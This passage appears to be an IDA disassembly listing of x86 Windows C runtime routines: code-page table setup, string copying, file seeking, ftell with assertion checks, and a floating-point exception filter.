DATA XREF: sub_424570+21r db 3 dup(4) dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245F0 proc near ; CODE XREF: sub_4241C0+41p ; sub_4241C0+31Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_424606 ; --------------------------------------------------------------------------- loc_4245FD: ; CODE XREF: sub_4245F0+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_424606: ; CODE XREF: sub_4245F0+Bj cmp [ebp+var_4], 101h jge short loc_42461B mov ecx, [ebp+var_4] mov byte_492640[ecx], 0 jmp short loc_4245FD ; --------------------------------------------------------------------------- loc_42461B: ; CODE XREF: sub_4245F0+1Dj mov dword_492524, 0 mov dword_49253C, 0 mov dword_492744, 0 mov [ebp+var_4], 0 jmp short loc_42464B ; --------------------------------------------------------------------------- loc_424642: ; CODE XREF: sub_4245F0+6Ej mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42464B: ; CODE XREF: sub_4245F0+50j cmp [ebp+var_4], 6 jge short loc_424660 mov eax, [ebp+var_4] mov word_492530[eax*2], 0 jmp short loc_424642 ; --------------------------------------------------------------------------- loc_424660: ; CODE XREF: sub_4245F0+5Fj mov esp, ebp pop ebp retn sub_4245F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424670 proc near ; CODE XREF: sub_4241C0+46p ; sub_4241C0:loc_424364p ... var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_418 = byte ptr -418h var_318 = byte ptr -318h var_312 = byte ptr -312h var_304 = byte ptr -304h var_204 = word ptr -204h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 51Ch lea eax, [ebp+var_318] push eax mov ecx, dword_492524 push ecx call ds:dword_49447C cmp eax, 1 jnz loc_4248A9 mov [ebp+var_51C], 0 jmp short loc_4246B1 ; --------------------------------------------------------------------------- loc_4246A2: ; CODE XREF: sub_424670+60j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_4246B1: ; CODE XREF: sub_424670+30j cmp [ebp+var_51C], 100h jnb short loc_4246D2 mov eax, [ebp+var_51C] mov cl, byte ptr [ebp+var_51C] mov [ebp+eax+var_304], cl jmp short loc_4246A2 ; --------------------------------------------------------------------------- loc_4246D2: ; CODE XREF: sub_424670+4Bj mov [ebp+var_304], 20h lea edx, [ebp+var_312] mov [ebp+var_4], edx jmp short loc_4246ED ; --------------------------------------------------------------------------- loc_4246E4: ; CODE XREF: sub_424670:loc_424736j mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax loc_4246ED: ; CODE XREF: sub_424670+72j mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_424738 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov [ebp+var_51C], ecx jmp short loc_424716 ; --------------------------------------------------------------------------- loc_424707: ; CODE XREF: sub_424670+C4j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_424716: ; CODE XREF: sub_424670+95j mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_51C], ecx ja short loc_424736 mov edx, [ebp+var_51C] mov [ebp+edx+var_304], 20h jmp short loc_424707 ; --------------------------------------------------------------------------- loc_424736: ; CODE XREF: sub_424670+B4j jmp short loc_4246E4 ; --------------------------------------------------------------------------- loc_424738: ; CODE XREF: sub_424670+86j push 0 mov eax, dword_492744 push eax mov ecx, dword_492524 push ecx lea edx, [ebp+var_204] push edx push 100h lea eax, [ebp+var_304] push eax push 1 call sub_426F40 add esp, 1Ch push 0 mov ecx, dword_492524 push ecx push 100h lea edx, [ebp+var_418] push edx push 100h lea eax, [ebp+var_304] push eax push 100h mov ecx, dword_492744 push ecx call sub_422F40 add esp, 20h push 0 mov edx, dword_492524 push edx push 100h lea eax, [ebp+var_518] push eax push 100h lea ecx, [ebp+var_304] push ecx push 200h mov edx, dword_492744 push edx call sub_422F40 add esp, 20h mov [ebp+var_51C], 0 jmp short loc_4247E9 ; --------------------------------------------------------------------------- loc_4247DA: ; CODE XREF: sub_424670:loc_42489Fj mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_4247E9: ; CODE XREF: sub_424670+168j cmp [ebp+var_51C], 100h jnb loc_4248A4 mov ecx, [ebp+var_51C] xor edx, edx mov dx, [ebp+ecx*2+var_204] and edx, 1 test edx, edx jz short loc_424846 mov eax, [ebp+var_51C] mov cl, byte_492641[eax] or cl, 10h mov edx, [ebp+var_51C] mov byte_492641[edx], cl mov eax, [ebp+var_51C] mov ecx, [ebp+var_51C] mov dl, [ebp+ecx+var_418] mov byte_492540[eax], dl jmp short loc_42489F ; --------------------------------------------------------------------------- loc_424846: ; CODE XREF: sub_424670+19Ej mov eax, [ebp+var_51C] xor ecx, ecx mov cx, [ebp+eax*2+var_204] and ecx, 2 test ecx, ecx jz short loc_424892 mov edx, [ebp+var_51C] mov al, byte_492641[edx] or al, 20h mov ecx, [ebp+var_51C] mov byte_492641[ecx], al mov edx, [ebp+var_51C] mov eax, [ebp+var_51C] mov cl, [ebp+eax+var_518] mov byte_492540[edx], cl jmp short loc_42489F ; --------------------------------------------------------------------------- loc_424892: ; CODE XREF: sub_424670+1EBj mov edx, [ebp+var_51C] mov byte_492540[edx], 0 loc_42489F: ; CODE XREF: sub_424670+1D4j ; sub_424670+220j jmp loc_4247DA ; --------------------------------------------------------------------------- loc_4248A4: ; CODE XREF: sub_424670+183j jmp loc_42496E ; --------------------------------------------------------------------------- loc_4248A9: ; CODE XREF: sub_424670+20j mov [ebp+var_51C], 0 jmp short loc_4248C4 ; --------------------------------------------------------------------------- loc_4248B5: ; CODE XREF: sub_424670:loc_424969j mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_4248C4: ; CODE XREF: sub_424670+243j cmp [ebp+var_51C], 100h jnb loc_42496E cmp [ebp+var_51C], 41h jb short loc_424918 cmp [ebp+var_51C], 5Ah ja short loc_424918 mov ecx, [ebp+var_51C] mov dl, byte_492641[ecx] or dl, 10h mov eax, [ebp+var_51C] mov byte_492641[eax], dl mov ecx, [ebp+var_51C] add ecx, 20h mov edx, [ebp+var_51C] mov byte_492540[edx], cl jmp short loc_424969 ; --------------------------------------------------------------------------- loc_424918: ; CODE XREF: sub_424670+26Bj ; sub_424670+274j cmp [ebp+var_51C], 61h jb short loc_42495C cmp [ebp+var_51C], 7Ah ja short loc_42495C mov eax, [ebp+var_51C] mov cl, byte_492641[eax] or cl, 20h mov edx, [ebp+var_51C] mov byte_492641[edx], cl mov eax, [ebp+var_51C] sub eax, 20h mov ecx, [ebp+var_51C] mov byte_492540[ecx], al jmp short loc_424969 ; --------------------------------------------------------------------------- loc_42495C: ; CODE XREF: sub_424670+2AFj ; sub_424670+2B8j mov edx, [ebp+var_51C] mov byte_492540[edx], 0 loc_424969: ; CODE XREF: sub_424670+2A6j ; sub_424670+2EAj jmp loc_4248B5 ; --------------------------------------------------------------------------- loc_42496E: ; CODE XREF: sub_424670:loc_4248A4j ; sub_424670+25Ej mov esp, ebp pop ebp retn sub_424670 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword_49253C, 0 jz short loc_424993 mov eax, dword_492524 jmp short loc_424995 ; --------------------------------------------------------------------------- loc_424993: ; CODE XREF: .text:0042498Aj xor eax, eax loc_424995: ; CODE XREF: .text:00424991j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4249A0 proc near ; CODE XREF: sub_425180+Dp ; sub_425240+Fp ... push ebp mov ebp, esp cmp dword_49378C, 0 jnz short loc_4249C0 push 0FFFFFFFDh call sub_4241C0 add esp, 4 mov dword_49378C, 1 loc_4249C0: ; CODE XREF: sub_4249A0+Aj pop ebp retn sub_4249A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4249D0 proc near ; CODE XREF: sub_41B4D0+41p ; sub_41B4D0+11Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp dword_49253C, 0 jnz short loc_4249FC mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4191A0 add esp, 0Ch jmp loc_424AF1 ; --------------------------------------------------------------------------- loc_4249FC: ; CODE XREF: sub_4249D0+11j push 19h call sub_41BC90 add esp, 4 loc_424A06: ; CODE XREF: sub_4249D0:loc_424ABEj cmp [ebp+arg_8], 0 jz loc_424AC3 mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_492641[eax] and ecx, 4 test ecx, ecx jz short loc_424A95 mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_8], 0 jnz short loc_424A5A mov ecx, [ebp+arg_0] mov byte ptr [ecx-1], 0 jmp short loc_424AC3 ; --------------------------------------------------------------------------- loc_424A5A: ; CODE XREF: sub_4249D0+7Fj mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test ecx, ecx jnz short loc_424A93 mov ecx, [ebp+arg_0] mov byte ptr [ecx-2], 0 jmp short loc_424AC3 ; --------------------------------------------------------------------------- loc_424A93: ; CODE XREF: sub_4249D0+B8j jmp short loc_424ABE ; --------------------------------------------------------------------------- loc_424A95: ; CODE XREF: sub_4249D0+5Dj mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx test eax, eax jnz short loc_424ABE jmp short loc_424AC3 ; --------------------------------------------------------------------------- loc_424ABE: ; CODE XREF: sub_4249D0:loc_424A93j ; sub_4249D0+EAj jmp loc_424A06 ; --------------------------------------------------------------------------- loc_424AC3: ; CODE XREF: sub_4249D0+3Aj ; sub_4249D0+88j ... mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_424AE4 mov edx, [ebp+arg_0] mov byte ptr [edx], 0 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_424AC3 ; --------------------------------------------------------------------------- loc_424AE4: ; CODE XREF: sub_4249D0+101j push 19h call sub_41BD30 add esp, 4 mov eax, [ebp+var_4] loc_424AF1: ; CODE XREF: sub_4249D0+27j mov esp, ebp pop ebp retn sub_4249D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B00 proc near ; CODE XREF: sub_41B840+10Ep ; sub_41E810+216p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_492520 jnb short loc_424B31 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_424B4C loc_424B31: ; CODE XREF: sub_424B00+Dj call sub_422F20 mov dword ptr [eax], 9 call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B4C: ; CODE XREF: sub_424B00+2Fj mov edx, [ebp+arg_0] push edx call sub_4280C0 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_424B90 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_428150 add esp, 4 mov eax, [ebp+var_4] loc_424B7E: ; CODE XREF: sub_424B00+4Aj mov esp, ebp pop ebp retn sub_424B00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B90 proc near ; CODE XREF: sub_421F20+40Dp ; sub_422400+50p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push eax call sub_427F40 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_424BBE call sub_422F20 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_424C3E ; --------------------------------------------------------------------------- loc_424BBE: ; CODE XREF: sub_424B90+19j mov ecx, [ebp+arg_8] push ecx push 0 mov edx, [ebp+arg_4] push edx mov eax, [ebp+var_C] push eax call ds:dword_494318 mov [ebp+var_8], eax cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_424BE6 call ds:dword_4942F0 mov [ebp+var_4], eax jmp short loc_424BED ; --------------------------------------------------------------------------- loc_424BE6: ; CODE XREF: sub_424B90+49j mov [ebp+var_4], 0 loc_424BED: ; CODE XREF: sub_424B90+54j cmp [ebp+var_4], 0 jz short loc_424C04 mov ecx, [ebp+var_4] push ecx call sub_422E80 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_424C3E ; --------------------------------------------------------------------------- loc_424C04: ; CODE XREF: sub_424B90+61j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_492420[edx*4] mov dl, [ecx+eax+4] and dl, 0FDh mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, dword_492420[eax*4] mov [eax+ecx+4], dl mov eax, [ebp+var_8] loc_424C3E: ; CODE XREF: sub_424B90+29j ; sub_424B90+72j mov esp, ebp pop ebp retn sub_424B90 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_424C57: ; CODE XREF: .text:00424C7Fj cmp dword ptr [ebp+8], 0 jnz short loc_424C7B push offset aStreamNull ; "stream != NULL" push 0 push 32h push offset aFtell_c ; "ftell.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_424C7B int 3 ; Trap to Debugger loc_424C7B: ; CODE XREF: .text:00424C5Bj ; .text:00424C78j xor eax, eax test eax, eax jnz short loc_424C57 mov ecx, [ebp+8] push ecx call sub_421230 add esp, 4 mov edx, [ebp+8] push edx call sub_424CC0 add esp, 4 mov [ebp-4], eax mov eax, [ebp+8] push eax call sub_4212A0 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424CC0 proc near ; CODE XREF: sub_41B840+87p ; .text:00424C91p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi loc_424CC9: ; CODE XREF: sub_424CC0+31j cmp [ebp+arg_0], 0 jnz short loc_424CED push offset aStrNull ; "str != NULL" push 0 push 63h push offset aFtell_c ; "ftell.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_424CED int 3 ; Trap to Debugger loc_424CED: ; CODE XREF: sub_424CC0+Dj ; sub_424CC0+2Aj xor eax, eax test eax, eax jnz short loc_424CC9 mov ecx, [ebp+arg_0] mov [ebp+var_C], ecx mov edx, [ebp+var_C] mov eax, [edx+10h] mov [ebp+var_8], eax mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jge short loc_424D15 mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 loc_424D15: ; CODE XREF: sub_424CC0+49j push 1 push 0 mov eax, [ebp+var_8] push eax call sub_424B00 add esp, 0Ch mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jge short loc_424D36 or eax, 0FFFFFFFFh jmp loc_424F53 ; --------------------------------------------------------------------------- loc_424D36: ; CODE XREF: sub_424CC0+6Cj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jnz short loc_424D56 mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] sub ecx, [eax+4] mov eax, ecx jmp loc_424F53 ; --------------------------------------------------------------------------- loc_424D56: ; CODE XREF: sub_424CC0+84j mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_18], ecx mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 3 test eax, eax jz short loc_424DCC mov ecx, [ebp+var_8] sar ecx, 5 mov edx, [ebp+var_8] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz short loc_424DCA mov edx, [ebp+var_C] mov eax, [edx+8] mov [ebp+var_4], eax jmp short loc_424DAA ; --------------------------------------------------------------------------- loc_424DA1: ; CODE XREF: sub_424CC0:loc_424DC8j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_424DAA: ; CODE XREF: sub_424CC0+DFj mov edx, [ebp+var_C] mov eax, [ebp+var_4] cmp eax, [edx] jnb short loc_424DCA mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_424DC8 mov eax, [ebp+var_18] add eax, 1 mov [ebp+var_18], eax loc_424DC8: ; CODE XREF: sub_424CC0+FDj jmp short loc_424DA1 ; --------------------------------------------------------------------------- loc_424DCA: ; CODE XREF: sub_424CC0+D4j ; sub_424CC0+F2j jmp short loc_424DEF ; --------------------------------------------------------------------------- loc_424DCC: ; CODE XREF: sub_424CC0+AFj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jnz short loc_424DEF call sub_422F20 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp loc_424F53 ; --------------------------------------------------------------------------- loc_424DEF: ; CODE XREF: sub_424CC0:loc_424DCAj ; sub_424CC0+11Aj cmp [ebp+var_1C], 0 jnz short loc_424DFD mov eax, [ebp+var_18] jmp loc_424F53 ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424CC0+133j mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 1 test ecx, ecx jz loc_424F4D mov edx, [ebp+var_C] cmp dword ptr [edx+4], 0 jnz short loc_424E23 mov [ebp+var_18], 0 jmp loc_424F4D ; --------------------------------------------------------------------------- loc_424E23: ; CODE XREF: sub_424CC0+155j mov eax, [ebp+var_C] mov ecx, [ebp+var_C] mov edx, [eax] sub edx, [ecx+8] mov eax, [ebp+var_C] mov ecx, [eax+4] add ecx, edx mov [ebp+var_10], ecx mov edx, [ebp+var_8] sar edx, 5 mov eax, [ebp+var_8] and eax, 1Fh imul eax, 24h mov ecx, dword_492420[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 80h test edx, edx jz loc_424F44 push 2 push 0 mov eax, [ebp+var_8] push eax call sub_424B00 add esp, 0Ch cmp eax, [ebp+var_1C] jnz short loc_424ED0 mov ecx, [ebp+var_C] mov edx, [ecx+8] add edx, [ebp+var_10] mov [ebp+var_14], edx mov eax, [ebp+var_C] mov ecx, [eax+8] mov [ebp+var_4], ecx jmp short loc_424E97 ; --------------------------------------------------------------------------- loc_424E8E: ; CODE XREF: sub_424CC0:loc_424EB3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_424E97: ; CODE XREF: sub_424CC0+1CCj mov eax, [ebp+var_4] cmp eax, [ebp+var_14] jnb short loc_424EB5 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Ah jnz short loc_424EB3 mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_424EB3: ; CODE XREF: sub_424CC0+1E8j jmp short loc_424E8E ; --------------------------------------------------------------------------- loc_424EB5: ; CODE XREF: sub_424CC0+1DDj mov ecx, [ebp+var_C] mov edx, [ecx+0Ch] and edx, 2000h test edx, edx jz short loc_424ECE mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax loc_424ECE: ; CODE XREF: sub_424CC0+203j jmp short loc_424F44 ; --------------------------------------------------------------------------- loc_424ED0: ; CODE XREF: sub_424CC0+1B5j push 0 mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_8] push edx call sub_424B00 add esp, 0Ch cmp [ebp+var_10], 200h ja short loc_424F10 mov eax, [ebp+var_C] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_424F10 mov edx, [ebp+var_C] mov eax, [edx+0Ch] and eax, 400h test eax, eax jnz short loc_424F10 mov [ebp+var_10], 200h jmp short loc_424F19 ; --------------------------------------------------------------------------- loc_424F10: ; CODE XREF: sub_424CC0+229j ; sub_424CC0+236j ... mov ecx, [ebp+var_C] mov edx, [ecx+18h] mov [ebp+var_10], edx loc_424F19: ; CODE XREF: sub_424CC0+24Ej mov eax, [ebp+var_8] sar eax, 5 mov ecx, [ebp+var_8] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 4 test eax, eax jz short loc_424F44 mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_424F44: ; CODE XREF: sub_424CC0+19Cj ; sub_424CC0:loc_424ECEj ... mov edx, [ebp+var_1C] sub edx, [ebp+var_10] mov [ebp+var_1C], edx loc_424F4D: ; CODE XREF: sub_424CC0+148j ; sub_424CC0+15Ej mov eax, [ebp+var_1C] add eax, [ebp+var_18] loc_424F53: ; CODE XREF: sub_424CC0+71j ; sub_424CC0+91j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424CC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F60 proc near ; CODE XREF: sub_41B970+144p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h call sub_41FA10 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [eax+50h] push ecx mov edx, [ebp+arg_0] push edx call sub_425120 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_424F93 mov eax, [ebp+var_10] cmp dword ptr [eax+8], 0 jnz short loc_424FA2 loc_424F93: ; CODE XREF: sub_424F60+28j mov ecx, [ebp+arg_4] push ecx call ds:dword_494488 jmp loc_42511A ; --------------------------------------------------------------------------- loc_424FA2: ; CODE XREF: sub_424F60+31j mov edx, [ebp+var_10] cmp dword ptr [edx+8], 5 jnz short loc_424FBF mov eax, [ebp+var_10] mov dword ptr [eax+8], 0 mov eax, 1 jmp loc_42511A ; --------------------------------------------------------------------------- loc_424FBF: ; CODE XREF: sub_424F60+49j mov ecx, [ebp+var_10] cmp dword ptr [ecx+8], 1 jnz short loc_424FD0 or eax, 0FFFFFFFFh jmp loc_42511A ; --------------------------------------------------------------------------- loc_424FD0: ; CODE XREF: sub_424F60+66j mov edx, [ebp+var_10] mov eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+54h] mov [ebp+var_18], edx mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] mov [eax+54h], ecx mov edx, [ebp+var_10] cmp dword ptr [edx+4], 8 jnz loc_4250F7 mov eax, dword_443648 mov [ebp+var_14], eax jmp short loc_42500B ; --------------------------------------------------------------------------- loc_425002: ; CODE XREF: sub_424F60+D0j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_42500B: ; CODE XREF: sub_424F60+A0j mov edx, dword_443648 add edx, dword_44364C cmp [ebp+var_14], edx jge short loc_425032 mov eax, [ebp+var_14] imul eax, 0Ch mov ecx, [ebp+var_8] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_425002 ; --------------------------------------------------------------------------- loc_425032: ; CODE XREF: sub_424F60+BAj mov eax, [ebp+var_8] mov ecx, [eax+58h] mov [ebp+var_C], ecx mov edx, [ebp+var_10] cmp dword ptr [edx], 0C000008Eh jnz short loc_425055 mov eax, [ebp+var_8] mov dword ptr [eax+58h], 83h jmp loc_4250DD ; --------------------------------------------------------------------------- loc_425055: ; CODE XREF: sub_424F60+E4j mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C0000090h jnz short loc_42506C mov edx, [ebp+var_8] mov dword ptr [edx+58h], 81h jmp short loc_4250DD ; --------------------------------------------------------------------------- loc_42506C: ; CODE XREF: sub_424F60+FEj mov eax, [ebp+var_10] cmp dword ptr [eax], 0C0000091h jnz short loc_425083 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 84h jmp short loc_4250DD ; --------------------------------------------------------------------------- loc_425083: ; CODE XREF: sub_424F60+115j mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000093h jnz short loc_42509A mov eax, [ebp+var_8] mov dword ptr [eax+58h], 85h jmp short loc_4250DD ; --------------------------------------------------------------------------- loc_42509A: ; CODE XREF: sub_424F60+12Cj mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C000008Dh jnz short loc_4250B1 mov edx, [ebp+var_8] mov dword ptr [edx+58h], 82h jmp short loc_4250DD ; --------------------------------------------------------------------------- loc_4250B1: ; CODE XREF: sub_424F60+143j mov eax, [ebp+var_10] cmp dword ptr [eax], 0C000008Fh jnz short loc_4250C8 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 86h jmp short loc_4250DD ; --------------------------------------------------------------------------- loc_4250C8: ; CODE XREF: sub_424F60+15Aj mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000092h jnz short loc_4250DD mov eax, [ebp+var_8] mov dword ptr [eax+58h], 8Ah loc_4250DD: ; CODE XREF: sub_424F60+F0j ; sub_424F60+10Aj ... mov ecx, [ebp+var_8] mov edx, [ecx+58h] push edx push 8 call [ebp+var_4] add esp, 8 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+58h], ecx jmp short loc_42510E ; --------------------------------------------------------------------------- loc_4250F7: ; CODE XREF: sub_424F60+92j mov edx, [ebp+var_10] mov dword ptr [edx+8], 0 mov eax, [ebp+var_10] mov ecx, [eax+4] push ecx call [ebp+var_4] add esp, 4 loc_42510E: ; CODE XREF: sub_424F60+195j mov edx, [ebp+var_8] mov eax, [ebp+var_18] mov [edx+54h], eax or eax, 0FFFFFFFFh loc_42511A: ; CODE XREF: sub_424F60+3Dj ; sub_424F60+5Aj ... mov esp, ebp pop ebp retn sub_424F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425120 proc near ; CODE XREF: sub_424F60+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_42512A: ; CODE XREF: sub_425120+30j mov ecx, [ebp+var_4] mov edx, [ecx] cmp edx, [ebp+arg_0] jz short loc_425152 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, dword_443654 imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_425152 jmp short loc_42512A ; --------------------------------------------------------------------------- loc_425152: ; CODE XREF: sub_425120+12j ; sub_425120+2Ej mov eax, dword_443654 imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_42516E mov edx, [ebp+var_4] mov eax, [edx] cmp eax, [ebp+arg_0] jz short loc_425172 loc_42516E: ; CODE XREF: sub_425120+42j xor eax, eax jmp short loc_425175 ; --------------------------------------------------------------------------- loc_425172: ; CODE XREF: sub_425120+4Cj mov eax, [ebp+var_4] loc_425175: ; CODE XREF: sub_425120+50j mov esp, ebp pop ebp retn sub_425120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425180 proc near ; CODE XREF: sub_41B970+E8p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_49378C, 0 jnz short loc_425192 call sub_4249A0 loc_425192: ; CODE XREF: sub_425180+Bj mov eax, dword_493784 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jnz short loc_4251FC loc_4251A6: ; CODE XREF: sub_425180:loc_4251E3j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp 